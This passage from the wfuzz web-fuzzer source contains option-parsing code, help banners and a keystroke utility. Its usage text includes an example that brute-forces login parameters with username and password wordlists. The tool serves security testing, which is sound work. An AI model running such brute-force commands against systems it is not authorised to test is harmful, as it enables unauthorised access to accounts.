optsd[i].append(j)\n\n            if not args and not optsd:\n                self.show_brief_usage()\n                sys.exit(1)\n\n            if payload_cache:\n                optsd[\"payload\"].append(payload_cache)\n                payload_cache = {}\n\n            self._parse_help_opt(optsd)\n\n            url = None\n            if len(args) == 1:\n                url = args[0]\n            elif len(args) > 1:\n                raise FuzzExceptBadOptions(\"Too many arguments.\")\n\n            options = FuzzSession()\n\n            cli_url = None\n            if \"-u\" in optsd:\n                if (url is not None and url != \"FUZZ\") or url == optsd[\"-u\"][0]:\n                    raise FuzzExceptBadOptions(\n                        \"Specify the URL either with -u or last argument. If you want to use a full payload, it can only be specified with FUZZ.\"\n                    )\n\n                cli_url = optsd[\"-u\"][0]\n\n            if cli_url:\n                url = cli_url\n\n            # check command line options correctness\n            self._check_options(optsd)\n\n            # parse options from recipe first\n            if \"--recipe\" in optsd:\n                for recipe in optsd[\"--recipe\"]:\n                    options.import_from_file(recipe)\n\n            # command line has priority over recipe\n            self._parse_options(optsd, options)\n            self._parse_conn_options(optsd, options)\n            self._parse_filters(optsd, options)\n            self._parse_seed(url, optsd, options)\n            self._parse_payload(optsd, options)\n            self._parse_scripts(optsd, options)\n\n            if \"--dump-recipe\" in optsd:\n                print(exec_banner)\n\n                for error_msg in options.validate():\n                    warnings.warn(\"Recipe parsing error: {}\".format(error_msg))\n\n                print(\"\")\n\n                options.export_to_file(optsd[\"--dump-recipe\"][0])\n                print(\"Recipe written to %s.\" % (optsd[\"--dump-recipe\"][0],))\n                sys.exit(0)\n\n            return options\n        except FuzzException as e:\n            self.show_brief_usage()\n            raise e\n        except ValueError:\n            self.show_brief_usage()\n            raise FuzzExceptBadOptions(\"Incorrect options, please check help.\")\n        except getopt.GetoptError as qw:\n            self.show_brief_usage()\n            raise FuzzExceptBadOptions(\"%s.\" % str(qw))\n\n    def _parse_help_opt(self, optsd):\n        if \"--version\" in optsd:\n            print(version)\n            sys.exit(0)\n\n        if \"-h\" in optsd:\n            self.show_usage()\n            sys.exit(0)\n\n        if \"--help\" in optsd:\n            self.show_verbose_usage()\n            sys.exit(0)\n\n        if \"--filter-help\" in optsd:\n            FILTER_HELP_REGEX_EXP = (\n                \"Filter Language\\n---------------\\n\\n(.*?)Filtering results\"\n            )\n            FILTER_HELP_REGEX = re.compile(\n                FILTER_HELP_REGEX_EXP, re.MULTILINE | re.DOTALL\n            )\n\n            print(FILTER_HELP_REGEX.search(get_filter_help_file()).group(1))\n\n            sys.exit(0)\n\n        # Extensions help\n        if \"--script-help\" in optsd:\n            script_string = optsd[\"--script-help\"][0]\n            if script_string == \"\":\n                script_string = \"$all$\"\n\n            self.show_plugin_ext_help(\"scripts\", category=script_string)\n\n        if \"--ee\" in optsd:\n            if \"payloads\" in optsd[\"--ee\"]:\n                self.show_plugins_names(\"payloads\")\n            elif \"encoders\" in optsd[\"--ee\"]:\n                self.show_plugins_names(\"encoders\")\n            elif \"iterators\" in optsd[\"--ee\"]:\n                self.show_plugins_names(\"iterators\")\n            elif \"printers\" in optsd[\"--ee\"]:\n                self.show_plugins_names(\"printers\")\n            elif \"scripts\" in optsd[\"--ee\"]:\n                self.show_plugins_names(\"scripts\")\n            elif \"fields\" in optsd[\"--ee\"]:\n                print(\"\\n\".join(allowed_fields))\n            elif \"files\" in optsd[\"--ee\"]:\n                print(\"\\n\".join(Facade().sett.get(\"general\", \"lookup_dirs\").split(\",\")))\n            elif \"registrants\" in optsd[\"--ee\"]:\n                print(\"\\n\".join(Facade().get_registrants()))\n            elif \"options\" in optsd[\"--ee\"]:\n                print(\n                    \"\\n\".join(\n                        [\"-{}\".format(opt) for opt in self.short_opts.replace(\":\", \"\")]\n                    )\n                )\n                print(\n                    \"\\n\".join(\n                        [\"--{}\".format(opt.replace(\"=\", \"\")) for opt in self.long_opts]\n                    )\n                )\n            else:\n                raise FuzzExceptBadOptions(\n                    \"Unknown category. Valid values are: payloads, encoders, iterators, printers or scripts.\"\n                )\n            sys.exit(0)\n\n        if \"-e\" in optsd:\n            if \"payloads\" in optsd[\"-e\"]:\n                self.show_plugins_help(\"payloads\")\n            elif \"encoders\" in optsd[\"-e\"]:\n                self.show_plugins_help(\"encoders\", 2)\n            elif \"iterators\" in optsd[\"-e\"]:\n                self.show_plugins_help(\"iterators\")\n            elif \"printers\" in optsd[\"-e\"]:\n                self.show_plugins_help(\"printers\")\n            elif \"scripts\" in optsd[\"-e\"]:\n                self.show_plugins_help(\"scripts\", 2)\n            else:\n                raise FuzzExceptBadOptions(\n                    \"Unknown category. Valid values are: payloads, encoders, iterators, printers or scripts.\"\n                )\n\n        if \"-f\" in optsd:\n            if \"help\" in optsd[\"-f\"]:\n                self.show_plugins_help(\"printers\")\n        if \"-o\" in optsd:\n            if \"help\" in optsd[\"-o\"]:\n                self.show_plugins_help(\"printers\")\n        if \"-m\" in optsd:\n            if \"help\" in optsd[\"-m\"]:\n                self.show_plugins_help(\"iterators\")\n        if \"-z\" in optsd:\n            if \"help\" in optsd[\"-z\"]:\n                filt = optsd[\"--slice\"][0] if \"--slice\" in optsd else \"$all$\"\n                self.show_plugin_ext_help(\"payloads\", category=filt)\n\n    def _check_options(self, optsd):\n        # Check for repeated flags\n        opt_list = [i for i in optsd if i not in REPEATABLE_OPTS and len(optsd[i]) > 1]\n        if opt_list:\n            raise FuzzExceptBadOptions(\n                \"Bad usage: Only one %s option could be specified at the same time.\"\n                % \" \".join(opt_list)\n            )\n\n        # -A and script not allowed at the same time\n        if \"--script\" in list(optsd.keys()) and [\n            key for key in optsd.keys() if key in [\"-A\", \"--AA\", \"--AAA\"]\n        ]:\n            raise FuzzExceptBadOptions(\n                \"Bad usage: --scripts and -A, --AA, --AAA are incompatible options.\"\n            )\n\n        if \"-s\" in list(optsd.keys()) and \"-t\" in list(optsd.keys()):\n            warnings.warn(\n                \"When using delayed requests concurrent requests are limited to 1, therefore the -t switch will be ignored.\"\n            )\n\n    def _parse_filters(self, optsd, filter_params):\n        \"\"\"\n        filter_params = dict(\n            hs = None,\n            hc = [],\n            hw = [],\n            hl = [],\n            hh = [],\n            ss = None,\n            sc = [],\n            sw = [],\n            sl = [],\n            sh = [],\n            filter = \"\",\n            prefilter = \"\",\n            ),\n        \"\"\"\n\n        if \"--prefilter\" in optsd:\n            if not PYPARSING:\n                raise FuzzExceptBadInstall(\"--prefilter switch needs pyparsing module.\")\n\n            for prefilter_opt in optsd[\"--prefilter\"]:\n                filter_params[\"prefilter\"].append(prefilter_opt)\n\n        if \"--filter\" in optsd:\n            if not PYPARSING:\n                raise FuzzExceptBadInstall(\"--filter switch needs pyparsing module.\")\n            filter_params[\"filter\"] = optsd[\"--filter\"][0]\n\n        if \"--hc\" in optsd:\n            filter_params[\"hc\"] = optsd[\"--hc\"][0].split(\",\")\n        if \"--hw\" in optsd:\n            filter_params[\"hw\"] = optsd[\"--hw\"][0].split(\",\")\n        if \"--hl\" in optsd:\n            filter_params[\"hl\"] = optsd[\"--hl\"][0].split(\",\")\n        if \"--hh\" in optsd:\n            filter_params[\"hh\"] = optsd[\"--hh\"][0].split(\",\")\n        if \"--hs\" in optsd:\n            filter_params[\"hs\"] = optsd[\"--hs\"][0]\n        if \"--sc\" in optsd:\n            filter_params[\"sc\"] = optsd[\"--sc\"][0].split(\",\")\n        if \"--sw\" in optsd:\n            filter_params[\"sw\"] = optsd[\"--sw\"][0].split(\",\")\n        if \"--sl\" in optsd:\n            filter_params[\"sl\"] = optsd[\"--sl\"][0].split(\",\")\n        if \"--sh\" in optsd:\n            filter_params[\"sh\"] = optsd[\"--sh\"][0].split(\",\")\n        if \"--ss\" in optsd:\n            filter_params[\"ss\"] = optsd[\"--ss\"][0]\n\n    def _parse_payload(self, optsd, options):\n        \"\"\"\n        options = dict(\n            payloads = [],\n            iterator = None,\n        )\n        \"\"\"\n\n        payloads_list = []\n\n        for payload in optsd[\"payload\"]:\n            if \"-z\" not in payload and \"-w\" not in payload:\n                raise FuzzExceptBadOptions(\n                    \"--zP and --slice must be preceded by a -z or -w switch.\"\n                )\n\n            zpayl = payload[\"-z\"] if \"-z\" in payload else \"file,%s\" % payload[\"-w\"]\n            extraparams = payload[\"--zP\"] if \"--zP\" in payload else None\n            sliceit = payload[\"--slice\"] if \"--slice\" in payload else None\n\n            vals = zpayl.split(\",\")\n\n            default_param = None\n            params = {}\n\n            if len(vals) >= 2:\n                name, default_param = vals[:2]\n            else:\n                name = vals[0]\n\n            default_param_cli = payload[\"--zD\"] if \"--zD\" in payload else None\n            if default_param_cli and default_param:\n                raise FuzzExceptBadOptions(\"--zD and -z parameters are exclusive.\")\n            elif default_param_cli:\n                default_param = default_param_cli\n\n            if extraparams:\n                params = dict([x.split(\"=\", 1) for x in extraparams.split(\",\")])\n            if default_param:\n                params[\"default\"] = default_param\n\n            encoders = vals[2] if len(vals) == 3 else None\n            encoders_cli = payload[\"--zE\"] if \"--zE\" in payload else None\n            if encoders_cli and encoders:\n                raise FuzzExceptBadOptions(\"--zE and -z encoders are exclusive.\")\n            elif encoders_cli:\n                encoders = encoders_cli\n\n            if encoders:\n                params[\"encoder\"] = encoders.split(\"-\")\n            elif \"encoder\" in params:\n                params[\"encoder\"] = params[\"encoder\"].split(\"-\")\n            else:\n                params[\"encoder\"] = None\n\n            payloads_list.append((name, params, sliceit))\n\n        if \"-m\" in optsd:\n            options[\"iterator\"] = optsd[\"-m\"][0]\n\n        if payloads_list:\n            options[\"payloads\"] = payloads_list\n\n    def _parse_seed(self, url, optsd, options):\n        if url:\n            options[\"url\"] = url\n\n        if \"-X\" in optsd:\n            options[\"method\"] = optsd[\"-X\"][0]\n\n        if \"--basic\" in optsd:\n            options[\"auth\"] = {\"method\": \"basic\", \"credentials\": optsd[\"--basic\"][0]}\n\n        if \"--digest\" in optsd:\n            options[\"auth\"] = {\"method\": \"digest\", \"credentials\": optsd[\"--digest\"][0]}\n\n        if \"--ntlm\" in optsd:\n            options[\"auth\"] = {\"method\": \"ntlm\", \"credentials\": optsd[\"--ntlm\"][0]}\n\n        if \"--follow\" in optsd or \"-L\" in optsd:\n            options[\"follow\"] = True\n\n        if \"--field\" in optsd:\n            for field in optsd[\"--field\"]:\n                options[\"fields\"].append(field)\n            options[\"show_field\"] = True\n        elif \"--efield\" in optsd:\n            for field in optsd[\"--efield\"]:\n                options[\"fields\"].append(field)\n\n            options[\"show_field\"] = False\n        else:\n            options[\"show_field\"] = None\n\n        if \"--ip\" in optsd:\n            splitted = optsd[\"--ip\"][0].partition(\":\")\n            if not splitted[0]:\n                raise FuzzExceptBadOptions(\"An IP must be specified\")\n\n            options[\"connect_to_ip\"] = {\n                \"ip\": splitted[0],\n                \"port\": splitted[2] if splitted[2] else \"80\",\n            }\n\n        if \"-d\" in optsd:\n            options[\"postdata\"] = optsd[\"-d\"][0]\n\n        for bb in optsd[\"-b\"]:\n            options[\"cookie\"].append(bb)\n\n        for x in optsd[\"-H\"]:\n            splitted = x.partition(\":\")\n            if splitted[1] != \":\":\n                raise FuzzExceptBadOptions(\n                    'Wrong header specified, it should be in the format \"name: value\".'\n                )\n            options[\"headers\"].append((splitted[0], splitted[2].strip()))\n\n        if \"-V\" in optsd:\n            options[\"allvars\"] = str(optsd[\"-V\"][0])\n\n    def _parse_conn_options(self, optsd, conn_options):\n        if \"-p\" in optsd:\n            proxy = []\n\n            for p in optsd[\"-p\"]:\n                vals = p.split(\":\")\n\n                if len(vals) == 2:\n                    proxy.append((vals[0], vals[1], \"HTTP\"))\n                elif len(vals) == 3:\n                    proxy.append((vals[0], vals[1], vals[2]))\n                else:\n                    raise FuzzExceptBadOptions(\"Bad proxy parameter specified.\")\n\n            conn_options[\"proxies\"] = proxy\n\n        if \"--conn-delay\" in optsd:\n            conn_options[\"conn_delay\"] = int(optsd[\"--conn-delay\"][0])\n\n        if \"--req-delay\" in optsd:\n            conn_options[\"req_delay\"] = int(optsd[\"--req-delay\"][0])\n\n        if \"-R\" in optsd:\n            conn_options[\"rlevel\"] = int(optsd[\"-R\"][0])\n\n        if \"-D\" in optsd:\n            conn_options[\"dlevel\"] = int(optsd[\"-D\"][0])\n\n        if \"-Z\" in optsd:\n            conn_options[\"scanmode\"] = True\n\n        if \"-s\" in optsd:\n            conn_options[\"delay\"] = float(optsd[\"-s\"][0])\n\n        if \"-t\" in optsd:\n            conn_options[\"concurrent\"] = int(optsd[\"-t\"][0])\n\n    def _parse_options(self, optsd, options):\n        if \"--oF\" in optsd:\n            options[\"save\"] = optsd[\"--oF\"][0]\n\n        if \"-v\" in optsd:\n            options[\"verbose\"] = True\n\n        if \"--prev\" in optsd:\n            options[\"previous\"] = True\n\n        if \"--no-cache\" in optsd:\n            options[\"no_cache\"] = True\n\n        if \"-c\" in optsd:\n            options[\"colour\"] = True\n\n        if [key for key in optsd.keys() if key in [\"-A\", \"--AA\", \"--AAA\"]]:\n            options[\"verbose\"] = True\n            options[\"colour\"] = True\n\n        if \"-f\" in optsd:\n            vals = optsd[\"-f\"][0].split(\",\", 1)\n\n            if len(vals) == 1:\n                options[\"printer\"] = (vals[0], None)\n            else:\n                options[\"printer\"] = vals\n\n        if \"-o\" in optsd:\n            options[\"console_printer\"] = optsd[\"-o\"][0]\n\n        if \"--recipe\" in optsd:\n            options[\"recipe\"] = optsd[\"--recipe\"]\n\n        if \"--dry-run\" in optsd:\n            options[\"transport\"] = \"dryrun\"\n\n        if \"--interact\" in optsd:\n            options[\"interactive\"] = True\n\n    def _parse_scripts(self, optsd, options):\n        \"\"\"\n        options = dict(\n            script = \"\",\n            script_args = {},\n        )\n        \"\"\"\n\n        if \"-A\" in optsd:\n            options[\"script\"] = \"default\"\n\n        if \"--AA\" in optsd:\n            options[\"script\"] = \"default,verbose\"\n\n        if \"--AAA\" in optsd:\n            options[\"script\"] = \"default,verbose,discovery\"\n\n        if \"--script\" in optsd:\n            options[\"script\"] = (\n                \"default\" if optsd[\"--script\"][0] == \"\" else optsd[\"--script\"][0]\n            )\n\n        if \"--script-args\" in optsd:\n            try:\n                options[\"script_args\"] = dict(\n                    [x.split(\"=\", 1) for x in optsd[\"--script-args\"][0].split(\",\")]\n                )\n            except ValueError:\n                raise FuzzExceptBadOptions(\n                    \"Script arguments: Incorrect arguments format supplied.\"\n                )\n"
  },
  {
    "path": "src/wfuzz/ui/console/common.py",
    "content": "import sys\nfrom wfuzz import __version__ as version\nimport os\n\nif os.name == \"nt\":\n    import colorama\n\n    colorama.init()\n\n\nexamples_banner = \"\"\"Examples:\\n\\twfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z\n\\twfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}\n\\twfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ\"\"\"\n\nexec_banner = \"\"\"********************************************************\\r\n* Wfuzz {version} - The Web Fuzzer {align: <{width1}}*\\r\n********************************************************\\r\\n\"\"\".format(\n    version=version, align=\" \", width1=29 - len(version)\n)\n\nhelp_banner = \"\"\"********************************************************\n* Wfuzz {version} - The Web Fuzzer {align: <{width1}}*\n*                                                      *\n* Version up to 1.4c coded by:                         *\n* Christian Martorella (cmartorella@edge-security.com) *\n* Carlos del ojo (deepbit@gmail.com)                   *\n*                                                      *\n* Version 1.4d to {version} coded by: {align: <{width2}}*\n* Xavier Mendez (xmendez@edge-security.com)            *\n********************************************************\\r\\n\"\"\".format(\n    version=version, width1=29 - len(version), align=\" \", width2=26 - len(version)\n)\n\nhelp_banner2 = \"\"\"********************************************************\n* Wfuzz {version} - The Web Fuzzer {align: <{width1}}*\n*                                                      *\n* Coded by:                                            *\n*                                                      *\n* Xavier Mendez (xmendez@edge-security.com)            *\n********************************************************\\r\\n\"\"\".format(\n    version=version, align=\" \", width1=29 - len(version)\n)\n\nheader_usage_wfpayload = \"\"\"Usage:\\twfpayload [options] -z payload --zD params\\r\\n\n\"\"\"\n\nheader_usage = \"\"\"Usage:\\twfuzz [options] -z payload,params <url>\\r\\n\n\\tFUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.\n\\tFUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.\n\"\"\"\n\nbrief_usage = (\n    \"\"\"%s\\n\\n%s\\n\\nType wfuzz -h for further information or --help for advanced usage.\"\"\"\n    % (header_usage, examples_banner)\n)\n\nusage = \"\"\"%s\\n\\nOptions:\n\\t-h                        : This help\n\\t--help                    : Advanced help\n\\t--version                 : Wfuzz version details\n\\t-e <type>                 : List of available encoders/payloads/iterators/printers/scripts\n\\t\n\\t-c                        : Output with colors\n\\t-v                        : Verbose information.\n\\t--interact                : (beta) If selected,all key presses are captured. This allows you to interact with the program.\n\\t\n\\t-p addr                   : Use Proxy in format ip:port:type. Repeat option for using various proxies.\n\\t                            Where type could be SOCKS4,SOCKS5 or HTTP if omitted.\n\\t\n\\t-t N                      : Specify the number of concurrent connections (10 default)\n\\t-s N                      : Specify time delay between requests (0 default)\n\\t-R depth                  : Recursive path discovery being depth the maximum recursion level (0 default)\n\\t-D depth                  : Maximum link depth level (4 default)\n\\t-L, --follow              : Follow HTTP redirections\n\\t\n\\t-u url                    : Specify a URL for the request.\n\\t-z payload                : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.\n\\t                            A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.\n\\t                            Encoders category can be used. ie. url\n\\t                            Use help as a payload to show payload plugin's details (you can filter using --slice)\n\\t-w wordlist               : Specify a wordlist file (alias for -z file,wordlist).\n\\t-V alltype                : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.\n\\t-X method                 : Specify an HTTP method for the request, ie. HEAD or FUZZ\n\\t\n\\t-b cookie                 : Specify a cookie for the requests\n\\t-d postdata               : Use post data (ex: \"id=FUZZ&catalogue=1\")\n\\t-H header                 : Use header (ex:\"Cookie:id=1312321&user=FUZZ\")\n\\t--basic/ntlm/digest auth  : in format \"user:pass\" or \"FUZZ:FUZZ\" or \"domain\\\\FUZ2Z:FUZZ\"\n\\t\n\\t--hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)\n\\t--sc/sl/sw/sh N[,N]+      : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)\n\\t--ss/hs regex             : Show/Hide responses with the specified regex within the content\n\"\"\" % (\n    header_usage\n)\n\nverbose_usage = \"\"\"%s\\n\\nOptions:\n\\t-h/--help                 : This help\n\\t--help                    : Advanced help\n\\t--filter-help             : Filter language specification\n\\t--version                 : Wfuzz version details\n\\t-e <type>                 : List of available encoders/payloads/iterators/printers/scripts\n\\t\n\\t--recipe <filename>       : Reads options from a recipe. Repeat for various recipes.\n\\t--dump-recipe <filename>  : Prints current options as a recipe\n\\t--oF <filename>           : Saves fuzz results to a file. These can be consumed later using the wfuzz payload.\n\\t\n\\t-c                        : Output with colors\n\\t-v                        : Verbose information.\n\\t-f filename,printer       : Store results in the output file using the specified printer (raw printer if omitted).\n\\t-o printer                : Show results using the specified printer.\n\\t--interact                : (beta) If selected,all key presses are captured. This allows you to interact with the program.\n\\t--dry-run                 : Print the results of applying the requests without actually making any HTTP request.\n\\t--prev                    : Print the previous HTTP requests (only when using payloads generating fuzzresults)\n\\t--efield <expr>           : Show the specified language expression together with the current payload. Repeat for various fields.\n\\t--field <expr>            : Do not show the payload but only the specified language expression. Repeat for various fields.\n\\t\n\\t-p addr                   : Use Proxy in format ip:port:type. Repeat option for using various proxies.\n\\t                            Where type could be SOCKS4,SOCKS5 or HTTP if omitted.\n\\t\n\\t-t N                      : Specify the number of concurrent connections (10 default)\n\\t-s N                      : Specify time delay between requests (0 default)\n\\t-R depth                  : Recursive path discovery being depth the maximum recursion level.\n\\t-D depth                  : Maximum link depth level.\n\\t-L,--follow               : Follow HTTP redirections\n\\t--ip host:port            : Specify an IP to connect to instead of the URL's host in the format ip:port\n\\t-Z                        : Scan mode (Connection errors will be ignored).\n\\t--req-delay N             : Sets the maximum time in seconds the request is allowed to take (CURLOPT_TIMEOUT). Default 90.\n\\t--conn-delay N            : Sets the maximum time in seconds the connection phase to the server to take (CURLOPT_CONNECTTIMEOUT). Default 90.\n\\t\n\\t-A, --AA, --AAA           : Alias for -v -c and --script=default,verbose,discover respectively\n\\t--no-cache                : Disable plugins cache. Every request will be scanned.\n\\t--script=                 : Equivalent to --script=default\n\\t--script=<plugins>        : Runs script's scan. <plugins> is a comma separated list of plugin-files or plugin-categories\n\\t--script-help=<plugins>   : Show help about scripts.\n\\t--script-args n1=v1,...   : Provide arguments to scripts. ie. --script-args grep.regex=\\\"<A href=\\\\\\\"(.*?)\\\\\\\">\\\"\n\\t\n\\t-u url                    : Specify a URL for the request.\n\\t-m iterator               : Specify an iterator for combining payloads (product by default)\n\\t-z payload                : Specify a payload for each FUZZ keyword used in the form of name[,parameter][,encoder].\n\\t                            A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.\n\\t                            Encoders category can be used. ie. url\n\\t                            Use help as a payload to show payload plugin's details (you can filter using --slice)\n\\t--zP <params>             : Arguments for the specified payload (it must be preceded by -z or -w).\n\\t--zD <default>            : Default parameter for the specified payload (it must be preceded by -z or -w).\n\\t--zE <encoder>            : Encoder for the specified payload (it must be preceded by -z or -w).\n\\t--slice <filter>          : Filter payload\\'s elements using the specified expression. It must be preceded by -z.\n\\t-w wordlist               : Specify a wordlist file (alias for -z file,wordlist).\n\\t-V alltype                : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.\n\\t-X method                 : Specify an HTTP method for the request, ie. HEAD or FUZZ\n\\t\n\\t-b cookie                 : Specify a cookie for the requests. Repeat option for various cookies.\n\\t-d postdata               : Use post data (ex: \"id=FUZZ&catalogue=1\")\n\\t-H header                 : Use header (ex:\"Cookie:id=1312321&user=FUZZ\"). Repeat option for various headers.\n\\t--basic/ntlm/digest auth  : in format \"user:pass\" or \"FUZZ:FUZZ\" or \"domain\\\\FUZ2Z:FUZZ\"\n\\t\n\\t--hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)\n\\t--sc/sl/sw/sh N[,N]+      : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)\n\\t--ss/hs regex             : Show/hide responses with the specified regex within the content\n\\t--filter <filter>         : Show/hide responses using the specified filter expression (Use BBB for taking values from baseline)\n\\t--prefilter <filter>      : Filter items before fuzzing using the specified expression. Repeat for concatenating filters.\n\"\"\" % (\n    header_usage\n)\n\n\nwfpayload_usage = \"\"\"%s\\n\\nOptions:\n\\t-h/--help                 : This help\n\\t--help                    : Advanced help\n\\t--version                 : Wfuzz version details\n\\t-e <type>                 : List of available encoders/payloads/iterators/printers/scripts\n\\t\n\\t--recipe <filename>       : Reads options from a recipe. Repeat for various recipes.\n\\t--dump-recipe <filename>  : Prints current options as a recipe\n\\t--oF <filename>           : Saves fuzz results to a file. These can be consumed later using the wfuzz payload.\n\\t\n\\t-c                        : Output with colors\n\\t-v                        : Verbose information.\n\\t-f filename,printer       : Store results in the output file using the specified printer (raw printer if omitted).\n\\t-o printer                : Show results using the specified printer.\n\\t--prev                    : Print the previous HTTP requests (only when using payloads generating fuzzresults)\n\\t--efield <expr>           : Show the specified language expression together with the current payload. Repeat option for various fields.\n\\t--field <expr>            : Do not show the payload but only the specified language expression. Repeat option for various fields.\n\\t\n\\t-A, --AA, --AAA           : Alias for -v -c and --script=default,verbose,discover respectively\n\\t--script=                 : Equivalent to --script=default\n\\t--script=<plugins>        : Runs script's scan. <plugins> is a comma separated list of plugin-files or plugin-categories\n\\t--script-help=<plugins>   : Show help about scripts.\n\\t--script-args n1=v1,...   : Provide arguments to scripts. ie. --script-args grep.regex=\\\"<A href=\\\\\\\"(.*?)\\\\\\\">\\\"\n\\t\n\\t-z payload                : Specify a payload for each FUZZ keyword used in the form of name[,parameter][,encoder].\n\\t                            A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.\n\\t                            Encoders category can be used. ie. url\n\\t                            Use help as a payload to show payload plugin's details (you can filter using --slice)\n\\t--zP <params>             : Arguments for the specified payload (it must be preceded by -z or -w).\n\\t--zD <default>            : Default parameter for the specified payload (it must be preceded by -z or -w).\n\\t--zE <encoder>            : Encoder for the specified payload (it must be preceded by -z or -w).\n\\t--slice <filter>          : Filter payload\\'s elements using the specified expression. It must be preceded by -z.\n\\t-w wordlist               : Specify a wordlist file (alias for -z file,wordlist).\n\\t\n\\t--hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)\n\\t--sc/sl/sw/sh N[,N]+      : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)\n\\t--ss/hs regex             : Show/hide responses with the specified regex within the content\n\\t--filter <filter>         : Show/hide responses using the specified filter expression (Use BBB for taking values from baseline)\n\\t--prefilter <filter>      : Filter items before fuzzing using the specified expression. Repeat for concatenating filters.\n\"\"\" % (\n    header_usage_wfpayload\n)\n\n\nclass Term:\n    reset = \"\\x1b[0m\"\n    bright = \"\\x1b[1m\"\n    dim = \"\\x1b[2m\"\n    underscore = \"\\x1b[4m\"\n    blink = \"\\x1b[5m\"\n    reverse = \"\\x1b[7m\"\n    hidden = \"\\x1b[8m\"\n\n    delete = \"\\x1b[0K\"\n    oneup = \"\\033[1A\"\n\n    fgBlack = \"\\x1b[30m\"\n    fgRed = \"\\x1b[31m\"\n    fgGreen = \"\\x1b[32m\"\n    fgYellow = \"\\x1b[33m\"\n    fgBlue = \"\\x1b[34m\"\n    fgMagenta = \"\\x1b[35m\"\n    fgCyan = \"\\x1b[36m\"\n    fgWhite = \"\\x1b[37m\"\n\n    bgBlack = \"\\x1b[40m\"\n    bgRed = \"\\x1b[41m\"\n    bgGreen = \"\\x1b[42m\"\n    bgYellow = \"\\x1b[43m\"\n    bgBlue = \"\\x1b[44m\"\n    bgMagenta = \"\\x1b[45m\"\n    bgCyan = \"\\x1b[46m\"\n    bgWhite = \"\\x1b[47m\"\n\n    noColour = \"\"\n\n    def get_colour(self, code):\n        cc = \"\"\n\n        if code == 0:\n            cc = Term.fgYellow\n        elif code >= 400 and code < 500:\n            cc = Term.fgRed\n        elif code >= 300 and code < 400:\n            cc = Term.fgBlue\n        elif code >= 200 and code < 300:\n            cc = Term.fgGreen\n        else:\n            cc = Term.fgMagenta\n\n        return cc\n\n    def delete_line(self):\n        sys.stdout.write(\"\\r\" + Term.delete)\n\n    def set_colour(self, colour):\n        sys.stdout.write(colour)\n\n    def write(self, string, colour):\n        sys.stdout.write(colour + string + Term.reset)\n\n    def go_up(self, lines):\n        sys.stdout.write(\"\\033[\" + str(lines) + \"A\")\n\n    def erase_lines(self, lines):\n        for i in range(lines - 1):\n            sys.stdout.write(\"\\r\" + Term.delete)\n            sys.stdout.write(Term.oneup)\n\n        sys.stdout.write(\"\\r\" + Term.delete)\n"
  },
  {
    "path": "src/wfuzz/ui/console/getch.py",
    "content": "# http://code.activestate.com/recipes/134892/\n#\n# getch()-like unbuffered character reading from stdin on both Windows and Unix (Python recipe)\n# A small utility class to read single characters from standard input, on both Windows and UNIX systems. It provides a getch() function-like instance.\n#\n# Created by Danny Yoo on Fri, 21 Jun 2002 (PSF)\n# (http://code.activestate.com/recipes/users/98032/)\n\n\nclass _Getch:\n    \"\"\"Gets a single character from standard input.  Does not echo to the screen.\"\"\"\n\n    def __init__(self):\n        try:\n            self.impl = _GetchWindows()\n        except ImportError:\n            try:\n                self.impl = _GetchUnix()\n            except ImportError:\n                self.impl = _GetchMacCarbon()\n\n    def __call__(self):\n        return self.impl()\n\n\nclass _GetchUnix:\n    def __init__(self):\n        import tty\n        import sys\n\n    def __call__(self):\n        import sys\n        import tty\n        import termios\n\n        fd = sys.stdin.fileno()\n        old_settings = termios.tcgetattr(fd)\n        try:\n            tty.setraw(sys.stdin.fileno())\n            ch = sys.stdin.read(1)\n        finally:\n            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n        return ch\n\n\nclass _GetchWindows:\n    def __init__(self):\n        import msvcrt\n\n    def __call__(self):\n        import msvcrt\n\n\nclass _GetchMacCarbon:\n    \"\"\"\n    A function which returns the current ASCII key that is down;\n    if no ASCII key is down, the null string is returned.  The\n    page http://www.mactech.com/macintosh-c/chap02-1.html was\n    very helpful in figuring out how to do this.\n    \"\"\"\n\n    def __init__(self):\n        import Carbon\n\n        # see if it has this (in Unix, it doesn't)\n        Carbon.Evt\n\n    def __call__(self):\n        import Carbon\n\n        if Carbon.Evt.EventAvail(0x0008)[0] == 0:  # 0x0008 is the keyDownMask\n            return \"\"\n        else:\n            #\n            # The event contains the following info:\n            # (what,msg,when,where,mod)=Carbon.Evt.GetNextEvent(0x0008)[1]\n            #\n            # The message (msg) contains the ASCII char which is\n            # extracted with the 0x000000FF charCodeMask; this\n            # number is converted to an ASCII character with chr() and\n            # returned\n            #\n            (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1]\n            return chr(msg & 0x000000FF)\n\n\nif __name__ == \"__main__\":\n    print(\"Press a key\")\n    inkey = _Getch()\n\n    import sys\n\n    for i in range(sys.maxsize):\n        k = inkey()\n        if k != \"\":\n            break\n    print(\"you pressed \", k)\n"
  },
  {
    "path": "src/wfuzz/ui/console/mvc.py",
